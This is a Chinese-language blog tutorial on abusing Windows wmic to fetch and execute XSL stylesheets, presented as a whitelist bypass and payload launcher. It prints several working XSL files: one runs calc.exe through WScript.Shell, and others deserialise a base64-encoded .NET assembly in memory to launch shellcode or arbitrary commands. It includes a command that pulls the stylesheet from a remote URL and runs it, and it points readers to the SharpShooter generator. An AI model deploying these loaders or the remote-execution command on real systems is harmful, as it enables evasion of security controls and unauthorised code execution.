利用wmic調用xsl文件的分析與利用以及細節的答疑

Casey Smith@subTee在博客分享的一個技巧,使用wmic能夠從本地或從URL調用XSL(可擴展樣式表語言)腳本。這個發現很有用,不僅可以作為一種白名單繞過的方法,而且可以作為payload來使用(從URL調用XSL腳本,利用XSL執行exe、shellcode、powershell腳本)。

本地簡單的一個wmic.xsl文件內容如下:


<stylesheet>xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output>
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]> /<script>
/<stylesheet>

遠程執行命令:wmic os get /FORMAT:"https://example.com/wmic.xsl"

或本地執行命令:wmic os get /FORMAT:"d:\wmic.xsl"

均會彈出計算器,如圖所示:

利用wmic調用xsl文件的分析與利用以及細節的答疑

最近在github上獲得star很多的點贊教程,micro8.gitbook.io/micro8/contents-1/71-80/80-ji-yu-bai-ming-dan-wmic-zhi-hang-payload-di-shi-ji,也提到了這個用法。它原文中是用了一個執行shellcode的Micropoor_Win7.xsl,代碼如下:


<stylesheet>xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas‐microsoft‐com:xslt"
xmlns:user="placeholder"
version="1.0">
<output>
function setversion() {
}
function debug(s) {}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}
var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy";'這是一串base64代碼,我省略了很多。
var entry_class = 'ShellCodeLauncher.Program';
try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) {
debug(e.message);
}
]]> /<script>
/<stylesheet>

代碼中的哪些base64是什麼呢?土司論壇中我看到了一篇文章,竟然說是exe文件的base64編碼,說是用任意一個exe編碼成base64,然後替換就可以了,這個是不對的。我在我頭條號上更正吧。

這個是一個dll的base編碼(當然用exe也可以),不過這個文件是有要求的,注意代碼中的這一句”var entry_class = 'ShellCodeLauncher.Program'; “,說明這是一個類名為ShellCodeLauncher.Program的net程序的base64編碼。

我寫了一個簡單的示例:

利用wmic調用xsl文件的分析與利用以及細節的答疑

這個文件生成dll後再編碼就可以調用了。注意這個dll的類名為EvalPeak。

所以我的xsl文件代碼如下,由於我熟悉vbs,所以我是用vbs寫的。


<stylesheet>xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output>
Sub Debug(s)
WScript.Echo s
End Sub
Sub SetVersion
Dim shell
Set shell = CreateObject("WScript.Shell")
Dim ver : ver = "v4.0.30319"
On Error Resume Next
shell.RegRead "HKLM\SOFTWARE\\Microsoft\.NETFramework\v4.0.30319"
If(Err.Number <> 0)Then
ver = "v2.0.50727"
Err.Clear
End If
shell.Environment("Process").Item("COMPLUS_Version") = ver
End Sub
Function Base64ToStream(b)
Dim enc, length, ba, transform, ms
Set ms = CreateObject("System.IO.MemoryStream")
Set enc = CreateObject("System.Text.ASCIIEncoding")
Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")
length = enc.GetByteCount_2(b)
ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3)
ms.Position = 0
Set Base64ToStream = ms
End Function
Sub Run()
Dim s, entry_class
s = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"
s = s & "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"
s = s & "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"
s = s & "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"
s = s & "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"
s = s & "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"

s = s & "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"
‘省略了好多base64字符串
entry_class = "EvalPeak"
Dim fmt, al, d, o
Set al = CreateObject("System.Collections.ArrayList")
Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
al.Add fmt.SurrogateSelector
Set d = fmt.Deserialize_2(Base64ToStream(s))
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
o.lcx "calc.exe"
End Sub
SetVersion()
On Error Resume Next
Run()
If(Err.Number <> 0)Then
Debug Err.Description
Err.Clear
End If
]]> /<script>
/<stylesheet>

這個代碼按wmic格式運行後也會彈出計算器。

如果你不會.net程序,不會代碼怎麼辦。其實也有現成的生成xsl工具,就是SharpShooter。

利用wmic調用xsl文件的分析與利用以及細節的答疑

這個工具具體如何利用,我們下次再聊。


分享到:


相關文章: